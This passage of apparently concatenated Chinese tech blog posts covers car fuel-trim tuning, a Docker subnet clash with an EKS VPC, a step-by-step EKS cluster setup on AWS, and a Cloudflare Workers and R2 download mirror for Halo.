Normally short term fuel trim should be within the range of -10% to +10%,
Normally the long term fuel trim should range from -5% to +5%.
一般来说短期燃油修成在正负 10% 之间比较合理,长期燃油修正在正负 5% 之间比较合理,不过这个值不一定是越靠近 0 越好,在帖子 My 0 knock count, constant 54% knock control cal experience 中我们可以看到车主所在的一个常年很热的国家时, S Trim 在 -5%~-15% 之间车辆最稳定,如果想要刻意调到接近 0 的话反而容易出现爆震。
有了上面的知识之后我们就需要来反过来判断我们的 AFM 是否正确了,这里有一个判断小技巧,我们在录制了比如 20 分钟的数据并且导入 Hondata 之后,找到上面的 Advanced Graphs 中的 X-Y Graph.

然后 X 轴选 AFM.v ,Y 轴选 S Trim,并且只勾上 Closed Loop 工况数据,这样我们可以看到在 Log 的数据中不不同的 AFM.v 情况下的燃油修正情况了。

如果你看懂了上文的话,这里的指导原则就明确了,由于 AFM 是个曲线,如果有某一段区域你的实际进气情况和 AFM 不一致的话,必然会导致对应区域下的平均线严重偏离中心值,例如如果你的曲线中有某一段特别低(说明出现了大量的高短期修正),那么你就需要找到那一段对应的电压值范围,并在 AFM 中将对应区间内的数值调高一些,反之亦然。
以上,作为内燃机时代的一点小乐趣,希望可以给读到这里的读者一些帮助和参考~
]]>docker-compose 的方式跑在原有的 EC2 下的,且需要和 EKS 内的某些应用联动。
但是在联动的过程中,发现 EKS 的 Pod 始终无法连接到某一个 EC2,表现为所有的连接都会超时,ping 也不通,同 VPC 下的其他 EC2 都是可以正常连接的,于是针对这个问题进行排查。
在网络层面,我们知道 EKS 和 EC2 不在一个 VPC 下,是通过 VPC Peering 和静态路由做通的:

EC2 VPC 段:
EKS VPC 段:
所有的 EC2 机器都没有开 UFW,也没有额外的 iptables 规则,SG 已经配置了允许来自 EKS VPC 的流量,这个也解释了为什么 EKS 内到其他的 EC2 和 RDS 之类的服务都是可以直接通的。
所有 EC2 上的所有服务都是通过 docker-compose.yml 部署的,写法类似如下:
version: "3"
services:
yyyy:
image: ghcr.io/xxx/yyyy:latest
restart: always
ports:
- '8080:8080'
environment:
DB_HOST: 'db'
DB_PORT: '3306'
DB_DATABASE: 'yyyy'
DB_USERNAME: 'root'
DB_PASSWORD: 'password'
APP_DEBUG: 'true'
volumes:
- ./.env:/app/.env
yyyy-service:
image: ghcr.io/xxx/yyyy-service:latest
restart: always
environment:
- DSN=root:password@tcp(db:3306)/yyyy?charset=utf8mb4&parseTime=True&loc=Local
- REDIS=redis:6379
- ENV=mini
ports:
- '8090:8080'
Docker 的安装方式也完全一致,但是就某一台 EC2 的机器没法从 EKS 内访问,接下来请聪明的读者花一柱香的时间想想看,这里可能会有什么奇怪的问题~

排查过程第一反应想到了是不是 UFW 或者 SG 设置不对,但是发现 UFW 根本没开,SG 也是通的,甚至其他的 EC2 都是可以访问的,百思不得其解,感觉 PingCAP 集群内 Pod 莫名无法联网的问题又逐渐回到了心头。
我不会这么背吧,用 EKS 也能遇到这种奇葩问题
看了一下 iptables 也没有奇怪的规则,正准备放弃并开始 Google 时,连接到 EC2 上的一个提示提醒了我:
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-1011-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Dec 7 03:32:08 UTC 2022
System load: 2.35498046875
Usage of /: 55.7% of 193.66GB
Memory usage: 79%
Swap usage: 0%
Processes: 721
Users logged in: 1
IPv4 address for br-65abb51ee0f8: 172.24.0.1
IPv4 address for br-69e9038f7cbe: 192.168.176.1
IPv4 address for br-72d131ef9461: 172.19.0.1
IPv4 address for br-777aba48864a: 192.168.96.1
IPv4 address for br-a9e07fa9b259: 172.22.0.1
IPv4 address for br-f06719849d74: 192.168.192.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens5: 172.31.5.22
=> There are 3 zombie processes.
事后发现这个是非常重要的一个提示,所以这里打算再等一柱香时间请聪明的读者想想看~

这里的主要问题就在于:IPv4 address for br-777aba48864a: 192.168.96.1 这个,为什么这个段看上去和 EKS 的段有重叠?
首先看到是 br 开头的网卡,第一反应就是 Docker 自己搞出来的 Network,通过 docker network ls 我们可以看到这些网络都是哪些容器在搞:
NETWORK ID NAME DRIVER SCOPE
72066261ca9e bridge bridge local
a9e07fa9b259 clickhouse_default bridge local
65abb51ee0f8 dddd_default bridge local
cabd6fc84675 xxxx-mxxxxxx_default bridge local
45ecdfc7a691 host host local
777aba48864a monitoring_default bridge local
4c95c382c5a8 none null local
503d7d864c98 xxx-xxx-up_default bridge local
c5946111d925 redis-insight_default bridge local
ad1686916ed0 runner_default bridge local
72d131ef9461 novaext-data-availability-runnergro-rustct_default bridge local
69e9038f7cbe novaext-data-availability-runnergro-mgolang-new_default bridge local
f06719849d74 novaext-data-availability-webassets-mgolang-new_default bridge local
可以看到比如 a9e07fa9b259 clickhouse_default 用的都是 172.22.0.1 这种看上去很合理的 IP,但是 f06719849d74 novaext-data-availability-webassets-mgolang-new_default 不知道为啥就开始用到了 192.168.192.1 这种 IP,正好和 EKS 内的段有重合,导致了上面的问题。
我们从 Networking in Compose 中结合实际经验可以知道:
By default Compose sets up a single network for your app. Each container for a service joins the default network and is both reachable by other containers on that network, and discoverable by them at a hostname identical to the container name.
查阅 docker network create 我们可以猜测 docker-compose 底层还是调用了 Docker 原生的的接口来创建网络,并且网段是由 Docker Engine 提供的:
When you create a network, Engine creates a non-overlapping subnetwork for the network by default
When starting the docker daemon, the daemon will check local network (RFC1918) ranges, and tries to detect if the range is not in use. The first range that is not in use, will be used as a the default “pool” to create networks.
至于这里 Engine 具体代码是怎么实现的, 我翻了好久的代码愣是没翻到,这里留个坑,之后找到了填上。
所以问题就很清晰了,这里的问题 Docker 启动的时候没有发现 EKS 也在用 192.168.0.0/16 段,于是认为这个段是可用的,然后生成 Bridged 的网络便和 EKS 网络段部分重叠了,导致 EKS 内的 Pod 无法连接到 EC2 上,至于为什么别的机器没问题,我也登录上去看了一下,发现只是正好没有开到 EKS 的段上而已。
对于这种问题有两种解决方法,第一种是通过修改 Docker 的 daemon.json,加入类似以下的内容,让 Bridged 的网络开到指定的网段下:
{
"bip": "192.168.1.5/24",
"fixed-cidr": "192.168.1.5/25",
"default-address-pools":[
{ "base":"192.168.2.5/24", "size":28 }
]
}
这种方法需要修改之后重启整个 Docker,会导致服务下线一定的时间(尤其是如果容器比较多的话)。
另一个方法是在 docker-compose.yml 文件下方指定一下默认 Bridged 的网络的段,写法类似如下:
networks:
default:
driver: bridge
ipam:
config:
- subnet: 10.7.0.0/16
gateway: 10.7.0.1
修改完之后 docker-compose down && docker-compose up -d 重启一下对应的服务即可。
解决了上面的问题之后, EKS 到 EC2 之间的通信立马就恢复正常了。
作为一个典型的 Web App,肯定是由 App Server ,Web Server 和 Database 构成,为了能做到比较可靠地弹性扩缩容,这里全部使用 AWS 平台,对应的就变成了 Container,Application Load Balancer 和 AWS RDS。
为了在 AWS 运行自己的容器,我们有如下的选择:
这个是 Amazon 维护的 Kubernetes 服务,我们都知道自己安装/维护一个 Kubernetes 肯定是个吃力不讨好的事情,节点证书续签,集群升级,网络插件等等都是摆在 K8s 初学者面前的一个个槛,考虑到我对 Kubernetes 一窍不通,且在 PingCAP 工作的时候干过很多这种奇葩事情,所以既然这里选择了用 K8s ,那还是专注 kubectl 一顿 apply 就好,剩下的事情和锅全部丢给服务商(a.k.a,AWS)来背。
关于价格,文档上是这么说的: You pay $0.10 per hour for each Amazon EKS cluster that you create.,也就是说一个月它的控制面就会直接吃掉你的 72USD ,此外机器的钱是另算的,相比较 DigitalOcean/Vultr/Linode 这种免费控制面的服务商来说, AWS 贵了不少。
既然是记录,我们就尽快开始我们的整个流程,这里主要参考了以下两个文档:
感觉上述两个文档对于 Quick Start 而言比 AWS 官方文档不知道高到哪儿去了。
这里需要保证 eksctl, kubectl 和 aws 已经安装,可以参考 AWS 的两篇文章:
eksctl 的官网上虽然说的是 The official CLI for Amazon EKS,但是底下有一句 created by Weaveworks and it welcomes contributions from the community,非常灵性。
如果你和我一样用的 Linux 的话,直接复制我的指令吧~
curl --silent --location "https://github.com/weaveworks/eksctl/releases/latest/download/eksctl_$(uname -s)_amd64.tar.gz" | tar xz -C /tmp
sudo mv /tmp/eksctl /usr/bin
eksctl version
curl -o kubectl https://s3.us-west-2.amazonaws.com/amazon-eks/1.24.7/2022-10-31/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/bin/
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
首先你需要登录你的控制台拿到 Credentials 并放到 ~/.aws/credentials 文件中(也就是 GitHub 上经常看到别人泄漏的这个部分:
[default]
aws_access_key_id = AKHAHAHAHAHAH6HPS6R
aws_secret_access_key = NOjlIsTHAHAHAHAHAHAHAHAHAHAHSOUsX
region = ap-northeast-1
[nova]
aws_access_key_id = AKHBABABABABABH6HPS6R
aws_secret_access_key = NOjlIsTHAABABABABAAHAHSOUsX
region = ap-southeast-1
如果你的 ~/.aws/credentials 文件中上上述例子中有多个 Profile 的话,可以通过在命令前面加入 AWS_PROFILE=<name> 来使用对应 Profile。
通过这个命令可以快速创建一个叫 novacluster 的 EKS Cluster, eksctl 背后会创建一个 Cloudformation 来处理所有我们不想自己处理的细节(什么 IAM 啦,什么 Tag 啦),这一步一般需要等 10+ 分钟。
eksctl create cluster --name=novacluster --without-nodegroup --region=ap-southeast-1
接下来我们需要创建一个 OIDC identity provider。
eksctl utils associate-iam-oidc-provider \
--region ap-southeast-1 \
--cluster novacluster \
--approve
然后我们创建一个叫 worker-group 的 NodeGroup,也就是实际用来跑负载的机器:
eksctl create nodegroup --cluster=novacluster --region=ap-southeast-1 --name=worker-group --node-type=t3.medium --nodes=3 --nodes-min=2 --nodes-max=10 --node-volume-size=20 --managed --asg-access --full-ecr-access --alb-ingress-access
这里有个建议,不要用 Free Tier 的
t3.micro,不然后续在部署cluster-autoscaler的时候会遇到 Insufficient memory 的问题,因为它需要 600Mi 的内存,而t3.micro啥都不跑的时候就只剩下 400Mi 了。如果你搞错了,那建议先创建一个配置更高新的 Nodegroup ,然后用
eksctl delete nodegroup --cluster=novacluster --name=worker-group --region=ap-southeast-1删掉老的 Nodegroup这个类似核酸检测,要先考虑全部场所取消核酸检测核验之后再去撤掉核酸检测点,不能反过来,但是有些人就是想不明白,导致的后果就是你的 Pod 会和市民一样在寒风中 Pending 很久。
这个时候我们的集群已经创建好了,为了让本地 kubectl 可以使用,我们需要用 AWS Cli 来获得 kubeconfig,指令是这样的:
aws eks update-kubeconfig --region ap-southeast-1 --name novacluster
这个时候我们 kubectl 应该已经可以用了, 试试看:
kubectl get no
NAME STATUS ROLES AGE VERSION
ip-192-168-26-67.ap-southeast-1.compute.internal Ready <none> 98m v1.23.13-eks-fb459a0
ip-192-168-42-176.ap-southeast-1.compute.internal Ready <none> 75m v1.23.13-eks-fb459a0
ip-192-168-46-84.ap-southeast-1.compute.internal Ready <none> 98m v1.23.13-eks-fb459a0
ip-192-168-72-96.ap-southeast-1.compute.internal Ready <none> 75m v1.23.13-eks-fb459a0
ip-192-168-75-202.ap-southeast-1.compute.internal Ready <none> 98m v1.23.13-eks-fb459a0
此时,我们的集群,机器都已经可用了,同时 Eksctl 也创建了一堆 VPC 和 Subnet。

我们注意到这里默认的 Subnet 的 VPC 是 vpc-1f2a1f78 ,对应的段是 172.31.0.0/20 ,而 eksctl 搞出来的段是 192.168.0.0/19 ,这也导致了之后配置 App 连接 RDS 时不能像 EC2 连接 RDS 一样在一个 VPC 下内网互通,而需要使用 VPC Peering。
如果你想手动给集群扩缩容 Node 的话,可以用这个指令:
eksctl scale nodegroup --cluster=novacluster --region ap-southeast-1 --nodes=5 worker-group
我知道我们在创建集群的时候已经指定了 --nodes=3 --nodes-min=2 --nodes-max=10,这个时候你可能会想:
「啊,那 AWS 肯定就会自动在 2 ~ 10 个节点之间根据集群情况自动弹性扩缩容吧?」

如果你想让 Node 自动扩缩容的话,需要手动搞一个 cluster-autoscaler
真的,EKS 已经 Manage 这么多了,为什么 Scale 机器不能集成做成一个 Addon 点一下自动安装,或者像 DigitalOcean DOKS 一样默认自带?
指令如下,先创建一个 Policy 允许 Autoscale,创建一个叫 cluster-autoscaler-policy.json 的文件,内容如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"autoscaling:SetDesiredCapacity",
"autoscaling:TerminateInstanceInAutoScalingGroup"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:ResourceTag/k8s.io/cluster-autoscaler/my-cluster": "owned"
}
}
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"autoscaling:DescribeAutoScalingInstances",
"autoscaling:DescribeAutoScalingGroups",
"ec2:DescribeLaunchTemplateVersions",
"autoscaling:DescribeTags",
"autoscaling:DescribeLaunchConfigurations"
],
"Resource": "*"
}
]
}
记得把 my-cluster 改为你自己 EKS Cluster 的名字,不然等着报错~

之后用 AWS 工具给 Apply 上去:
aws iam create-policy \
--policy-name AmazonEKSClusterAutoscalerPolicy \
--policy-document file://cluster-autoscaler-policy.json
然后用 eksctl 创建一个 IAM Service Account 并 Attach 上刚刚的 Policy
eksctl create iamserviceaccount \
--cluster=novacluster --region=ap-southeast-1 \
--namespace=kube-system \
--name=cluster-autoscaler \
--attach-policy-arn=arn:aws:iam::111122223333:policy/AmazonEKSClusterAutoscalerPolicy \
--override-existing-serviceaccounts \
--approve
之后就开始安装 cluster-autoscaler, 非常 Cloud Naive 。
curl -o cluster-autoscaler-autodiscover.yaml https://raw.githubusercontent.com/kubernetes/autoscaler/master/cluster-autoscaler/cloudprovider/aws/examples/cluster-autoscaler-autodiscover.yaml
sed -i.bak -e 's|<YOUR CLUSTER NAME>|novacluster|' ./cluster-autoscaler-autodiscover.yaml
kubectl apply -f cluster-autoscaler-autodiscover.yaml
kubectl annotate serviceaccount cluster-autoscaler \
-n kube-system \
eks.amazonaws.com/role-arn=arn:aws:iam::111122223333:role/AmazonEKSClusterAutoscalerRole
kubectl patch deployment cluster-autoscaler \
-n kube-system \
-p '{"spec":{"template":{"metadata":{"annotations":{"cluster-autoscaler.kubernetes.io/safe-to-evict": "false"}}}}}'
之后就可以通过 kubectl -n kube-system logs -f deployment.apps/cluster-autoscaler 看 Log 来判断 cluster-autoscaler 是否已经正常工作了,此时如果有什么没法 Schedule 的 Pod ,这个东西就会自动给你开新的机器用来扩容了。类似的,如果你的资源很少的话,它会帮你把你的 Node 给动态清零。
我们需要对外暴露我们的应用,所以需要一个 Load Balancer,价格是 $0.0225 per Application Load Balancer-hour (or partial hour) + $0.008 per LCU-hour (or partial hour),就是说你即使啥流量都没有,也要 18USD/mo。

要在 EKS 中集成对于 ALB(Application Load Balancer) ,需要手动安装 Application Load Balancer Controller 并给对应的 subnet 打 tag ,在上述 eksctl create nodegroup 中我们看到有一个 --alb-ingress-access 只是帮我们做了后半部分,安装 Controller 还是得自己手动来,具体流程如下,
创建 IAMPolicy:
curl -o iam_policy.json https://raw.githubusercontent.com/kubernetes-sigs/aws-load-balancer-controller/v2.4.4/docs/install/iam_policy.json
aws iam create-policy \
--policy-name AWSLoadBalancerControllerIAMPolicy \
--policy-document file://iam_policy.json
先用 eksctl 创建一个叫 aws-load-balancer-controller 的 ServiceAccount 供后续 ALB Controller 使用,记得替换 111122223333 为你的 Account ID。
eksctl create iamserviceaccount \
--cluster=novacluster \
--region=ap-southeast-1 \
--namespace=kube-system \
--name=aws-load-balancer-controller \
--role-name "AmazonEKSLoadBalancerControllerRole" \
--attach-policy-arn=arn:aws:iam::111122223333:policy/AWSLoadBalancerControllerIAMPolicy \
--approve
然后安装 cert-manager 和 Controller,纯粹看着文档复制粘贴即可。
kubectl apply \
--validate=false \
-f https://github.com/jetstack/cert-manager/releases/download/v1.5.4/cert-manager.yaml
curl -Lo v2_4_4_full.yaml https://github.com/kubernetes-sigs/aws-load-balancer-controller/releases/download/v2.4.4/v2_4_4_full.yaml
sed -i.bak -e '480,488d' ./v2_4_4_full.yaml
sed -i.bak -e 's|your-cluster-name|novacluster|' ./v2_4_4_full.yaml
kubectl apply -f v2_4_4_full.yaml
kubectl apply -f https://github.com/kubernetes-sigs/aws-load-balancer-controller/releases/download/v2.4.4/v2_4_4_ingclass.yaml
此时我们可以验证一下这个 Controller 是否已经正确安装:
kubectl get deployment -n kube-system aws-load-balancer-controller
NAME READY UP-TO-DATE AVAILABLE AGE
aws-load-balancer-controller 1/1 1 1 95m
完整文档在 Installing the AWS Load Balancer Controller add-on,如果你不放心的话可以复制粘贴那个文档上的,但是真的,EKS 已经 Manage 这么多了,为什么 ALB 集成不能做成一个 Addon 点一下自动安装?
此时我们看看 AWS 网页上面,你的集群中应该有如下 Deployments 了:

终于,有了上述的集群准备和 Load balancer Controller 之后,可以部署我们的应用啦,为了方便和干净起见,我们整一个叫 novaapp 的 Namespace 并且把所有资源都丢到这个 Namespace 下,并让 AWS 自动给我们加上 Load Balancer 用于对外访问:
---
apiVersion: v1
kind: Namespace
metadata:
name: novaapp
---
apiVersion: apps/v1
kind: Deployment
metadata:
namespace: novaapp
name: novaapp-mini-deployment
labels:
app: novaapp-mini
spec:
replicas: 2
selector:
matchLabels:
app: novaapp-mini
template:
metadata:
labels:
app: novaapp-mini
spec:
containers:
- name: novaapp
imagePullPolicy: Always
image: '111122223333.dkr.ecr.ap-southeast-1.amazonaws.com/novaapp:latest'
env:
- name: DB_HOST
value: "novards.c4s0xipwdxny.ap-southeast-1.rds.amazonaws.com"
- name: APP_DEBUG
value: "true"
- name: DB_PORT
value: "3306"
- name: DB_DATABASE
value: "novaapp"
- name: DB_USERNAME
value: "admin"
- name: DB_PASSWORD
value: "password"
resources:
limits:
cpu: 500m
---
apiVersion: v1
kind: Service
metadata:
namespace: novaapp
name: novaapp-mini-service
spec:
ports:
- port: 80
targetPort: 80
protocol: TCP
type: NodePort
selector:
app: novaapp-mini
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
namespace: novaapp
name: ingress-novaapp
annotations:
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/target-type: ip
alb.ingress.kubernetes.io/healthcheck-path: /healthz
spec:
ingressClassName: alb
rules:
- http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: novaapp-mini-service
port:
number: 80
---
apiVersion: autoscaling/v1
kind: HorizontalPodAutoscaler
metadata:
namespace: novaapp
name: novaapp-mini-autoscaler
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: novaapp-mini-deployment
minReplicas: 2
maxReplicas: 20
targetCPUUtilizationPercentage: 10
看上去很长?是的,这就是大家推崇的 Cloud Naive Way!
其实只要仔细看就会发现这是一个整套组件,从上到下分为 Namespace,Deployment(实际的应用),Service(用 NodePort 暴露整个应用并提供负载均衡,Ingress(让 AWS 创建一个 ALB 来把流量引到 Service 上,并显式指定了 /healthz 作为健康检查,不然如果你的 / 会返回 404 的话服务会一直 503),HorizontalPodAutoscaler(如果一个 Pod CPU 使用率大于 10% 就自动创建更多的 Pod,最多创建 20 个,用于弹性扩容 Pod)。
这里也同时可以测试一下比如修改 Replica 到一个比较大的值,观察在所有 Node 都已经满了的时候 cluster-autoscaler 是否能正常创建新的 Node 加入到集群中使用。
在上面的案例中,我们的 ALB 配置是这样的:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
namespace: novaapp
name: ingress-novaapp
annotations:
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/target-type: ip
alb.ingress.kubernetes.io/healthcheck-path: /healthz
spec:
ingressClassName: alb
rules:
- http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: novaapp-mini-service
port:
number: 80
这个时候我们已经可以通过访问 ALB 的地址来直接访问我们的应用了,但是,没有 SSL 怎么行?而且最终我们需要做一个 CNAME 解析到这个地址上,用我们自己的域名来 Serve 整个 App。
所以这里我们需要先到 AWS 的 ACM 打一局 ACM/ICPC上弄一个 SSL 证书:

此时你可以获得一个 ARN,比如我这里是 arn:aws:acm:ap-southeast-1:111122223333:certificate/b9480e8e-c0e6-4cec-9ac4-38715ad35888,等证书验证通过了之后我们把 ALB 的配置修改一下,修改成如下样子:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
namespace: novaapp
name: ingress-novaapp
annotations:
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/target-type: ip
alb.ingress.kubernetes.io/healthcheck-path: /healthz
alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
alb.ingress.kubernetes.io/certificate-arn: arn:aws:acm:us-east-1:111122223333:certificate/b9480e8e-c0e6-4cec-9ac4-38715ad35888
spec:
ingressClassName: alb
rules:
- http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: novaapp-mini-service
port:
number: 80
然后给 Apply 到集群中即可~这个时候我们看 Load Balancer 页面应该已经可以看到正常显示了 80,443 端口,且证书已经正确配置了:

这个时候我们去 Cloudflare 上弄个 CNAME 记录解析到这个地址上,并开启 Cloudflare 的 Proxy,就成了~

创建 RDS 的过程非常简单,我们可以直接在 RDS 控制面板上创建即可,创建完成之后我们需要在它的 Security Group 中允许一下来自 eksctl 搞出来的 subnet 的流量:

下一步我们需要把这两个段给 Peer 到一起,不然容器下方的 EC2 会连接不上 RDS

我们创建一个 VPC Peer ,并把这两个 VPC 先 Peer 到一起。

创建完之后记得点一下 Accept Peer。
Peer 成功之后就需要在两边通报对方路由,在 Default VPC 上通报一下 EKS 那个 VPC 的段:

反之在 EKS 的那堆 Route tables 上通报一下 Default VPC 的段:

此时,你的应用应该就可以正常连接到 RDS 使用了~
人生苦短,别自己折腾了监控组件了,这里直接 Datadog 的栈就好了,可以参考: Install the Datadog Agent on Kubernetes, 要安装只要以下三步:
helm repo add datadog https://helm.datadoghq.com
helm install my-datadog-operator datadog/datadog-operator
kubectl create secret generic datadog-secret --from-literal api-key=<DATADOG_API_KEY> --from-literal app-key=<DATADOG_APP_KEY>
弄个配置文件,比如 datadog-agent.yaml, 内容如下:
apiVersion: datadoghq.com/v1alpha1
kind: DatadogAgent
metadata:
name: datadog
spec:
credentials:
apiSecret:
secretName: datadog-secret
keyName: api-key
appSecret:
secretName: datadog-secret
keyName: app-key
agent:
image:
name: "gcr.io/datadoghq/agent:latest"
clusterAgent:
image:
name: "gcr.io/datadoghq/cluster-agent:latest"
然后: kubectl apply -f /path/to/your/datadog-agent.yaml 就齐活了~



以上,我们的应用就已经跑起来了,如果需要给容器换镜像的话暂时可以本地改 Deployment 文件之后 kubectl apply 一把梭,后续还有 CI/CD,监控和报警相关的内容由于本文篇幅限制(加上我也还在学习中),就暂时不在本文中涵盖了~
时刻谨记这个 AWS 平台,资源不用了及时删除,祝大家玩的开心!
去年,Cloudflare 发布了一个新的产品——R2,Announcing Cloudflare R2 Storage: Rapid and Reliable Object Storage, minus the egress fees,一个 S3 兼容的对象存储,同时提供了 Workers 的支持,苦于那段时间一直在和公司内的 Jenkins 和 Kubectl 做斗争,没有太多时间来实践,从 PingCAP 离开后正好有些闲暇的时间开着自己的车在赛道上划船,赛道之余便开始思考 Cloudflare 的这么些个产品在我自己这边的实际应用场景。

也许大家都知道, 我有一辆十代两厢手动思域, 我运行着 Halo 的官方镜像源,这个镜像源的主要功能为提供一个在 GitHub Release 之外的一个相对稳定的 Halo Jar 包下载地,作为镜像站,它需要满足以下几个功能:
在之前我是这么做的:在自己的集群中找了一些机器和存储空间,并部署了一个自动同步 Jar 包的脚本,用 crontab 定期运行(一小时一次),这样能保证本地文件系统的文件和 GitHub Releases 上保持尽可能一致,有了本地文件系统之后接下来只需要一个 Nginx 的 autoindex ,然后设置好 Load balancer,就可以做到类似这样的效果,并且保证一定的可用性。

做运维和建站固然是个很开心的事情,MJJ 们可能也是这么想的,但是一旦自己手上需要维护的服务多了起来,且都需要保证一定的可用性的时候,我们便不能像大学的时候一样一个个给自己的服务器取名字,然后一点点手动编写配置文件并一顿微操了。应该在条件许可的情况下能用 Managed 就用 Managed,锅能丢给服务商就丢给服务商,在这里也是如此,为了保证可用性和 Cloudflare 一致,我打算利用 Workers 和 R2 改造一下这个项目,一来减少自己维护(带来的心理)压力,二来可以以此为契机学习一下 Cloudflare 的这一套 Serverless 理论。
让我们开始吧!
主要原因是考虑到免费,不怎么容易被花钱,虽然国内有些城市访问的速度可能不怎么好,但是只要自己的域名没有用来做些什么很奇怪的事情的话,还是不会被因为墙 IP 等被彻底搞没的,至于为啥不容易被墙 IP,容我引用一段话:
if your ip and port are marked for tls tunnel proxy behavior, at ordinary times they are used to test a set of tools that automatically blocking obfuscating/encrypted inner tls fingerprint packets, are used to test blocking tls in tls packets without affects normal website access, such as cloudflare, akamai, azure cdn.
just because of some things, this plan was disrupted.
HyeonSeungri@https://github.com/net4people/bbs/issues/129
在前文中我们知道,要做到和上游同步并保证存储地不一样,这里我们直接使用 Cloudflare R2 作为存储,但是由于要尽量摆脱对于人工/自己机器的介入,我们并不考虑通过 CLI 或者 SDK 的方式访问 R2 并修改内容,而是使用 Workers 来完成这个操作,那么在这里,我们需要做的操作就是用 Worker 下载 Jar 包并保存到 R2 中的对应位置。
R2 的存储相对来说比 S3 便宜,价格如下:
| Free | Paid - Rates | |
|---|---|---|
| Storage | 10 GB / month | $0.015 / GB-month |
| Class A Operations | 1 million requests / month | $4.50 / million requests |
| Class B Operations | 10 million requests / month | $0.36 / million requests |
其中 A 类操作是指 ListBuckets, PutBucket, ListObjects, PutObject, CopyObject, CompleteMultipartUpload, CreateMultipartUpload, ListMultipartUploads, UploadPart, UploadPartCopy and PutBucketEncryption. 这些和写更多相关的操作
B 类操作是指 HeadBucket, HeadObject, GetObject, UsageSummary, GetBucketEncryption and GetBucketLocation. 这类看上去比较只读的操作
截止本文编写时,Halo 众多 Jar 包的存储空间没有超过 6G,所以存储的部分是绝对不会超过 Free 的限额,并且只要在设置好合适的 Rate limit 的情况下,Class B 操作应该也不会太容易超过免费的限制。
(如果真玩超了那 Ryan Wang 的钱包上估计会出现个大洞…

虽然 Cloudflare 声称 R2 是个 Global object storage,但是肯定它的文件是存在于某个数据中心中的(而不像 Bunny CDN 可能会在你选定的 Region 中自动 Replicate),为了确认文件具体是存放在哪儿的,可以通过 https://tools.keycdn.com/performance 这个工具来推测,比如后文中部署好了这一套之后我们请求一个文件,通过观察 TTFB 的方式来尝试推断文件的实际位置:

我们可以观测到 TTFB 时间中新加坡的是最小的,这里猜测是由于我创建 R2 的时候来源 IP 是新加坡,所以 R2 的实际存储就创建在了一个靠近新加坡的位置,这一点在 https://community.cloudflare.com/t/cloudflare-r2-doesnt-distribute-files/400666 这个帖子上也有类似的影子。
虽然我们在 Workers 的 Pricing 页面看到 Worker 的限制是 Up to 10ms CPU time per request,但是从个人实践的角度来看,Worker 的每个 request 至少能运行 1 分钟以上,这就给了我们下载文件并保存的机会,只需要在 wrangler.toml 中配置好 binding:
r2_buckets = [
{ binding = "dl_halo_run", bucket_name = "dl-halo-run", preview_bucket_name = "" }
]
然后只要两行,我们便可以利用 Worker 下载文件并放到 R2 中的对应位置,fetch 用来下载文件,env.BUCKET_NAME.put 用来把下载下来的内容存到 R2 中,代码如下:
const response = await fetch(download_url);
await env.dl_halo_run.put(download_filname, response.body);
是不是看上去很简单?在明白了核心的部分之后接下来只需要一些简单的业务逻辑,比如判断需要下载的文件名,判断是否已经存储在 R2 中等等便可完成下载部分的处理,样例代码如下
let download_filname = ""
if (filename.includes('beta') || filename.includes('alpha')) {
download_filname = "prerelease/" + filename;
} else {
download_filname = "release/" + filename;
}
// Check if exist in R2
console.log("Checking if exist in R2");
const check_file = await env.dl_halo_run.get(download_filname);
console.log("Check file", check_file);
if (!check_file) {
console.log('Downloading file' + filename);
const response = await fetch(download_url);
await env.dl_halo_run.put(download_filname, response.body);
} else{
console.log('File already exist in R2 ' + filename);
}
由于我们需要定期查询 GitHub 上的情况,所以这里的函数需要写在:
async scheduled(event, env, ctx) {
}
内部,并在 wrangler.toml 中配置一个 cron 来执行:
[triggers]
crons = ["0 */1 * * *"]
至此,我们的下载逻辑已经全部完成,Cloudflare Workers 会每小时执行一遍 scheduled 函数中的操作并下载所需要的 jar 文件了,此时你的 R2 看上去应该类似这样:

现在我们已经有了稳定的存储和定期的下载同步了,作为一个镜像站,我们肯定需要对外提供展示页面,单纯给 R2 绑定个域名用于下载看上去没有问题,但是没有 Listing 的能力的话会让用户没法知道镜像站上有啥内容,所以这里我们需要做一个简单的 API 对外展示内容,而这个部分就更加简单了,我们继续修改上面的 Workers 中的文件,只不过这次是写在:
async fetch(request, env, ctx) {
}
函数内,编写逻辑如下:
/api 的话,就输出 R2 中的所有内容(的 JSON 格式)代码样例如下:
对于访问的 URI 是 /api 的请求:
// Check if vising /api, list all the files
if (uri == "api") {
const listed = await env.dl_halo_run.list(options);
const listed_objects = listed['objects'];
for (const listed_object of listed_objects) {
delete listed_object.customMetadata;
delete listed_object.httpMetadata;
delete listed_object.version;
delete listed_object.httpEtag;
delete listed_object.etag;
}
return new Response(JSON.stringify(listed_objects), {
headers: {
'content-type': 'application/json; charset=UTF-8',
}
});
}
此外的所有请求:
const file = await env.dl_halo_run.get(objectName);
if (!file) {
return new Response('File not found', { status: 404 })
}
const headers = new Headers()
file.writeHttpMetadata(headers)
headers.set('etag', file.httpEtag)
return new Response(file.body, {
headers
})
是不是很容易? 此时访问对应的 /api 接口就能看到类似如下的返回结果:
[
{
"uploaded": "2022-11-13T06:34:09.717Z",
"checksums": {
"md5": "10e25e056c2bea90a9386e27a9450bfb"
},
"size": 61,
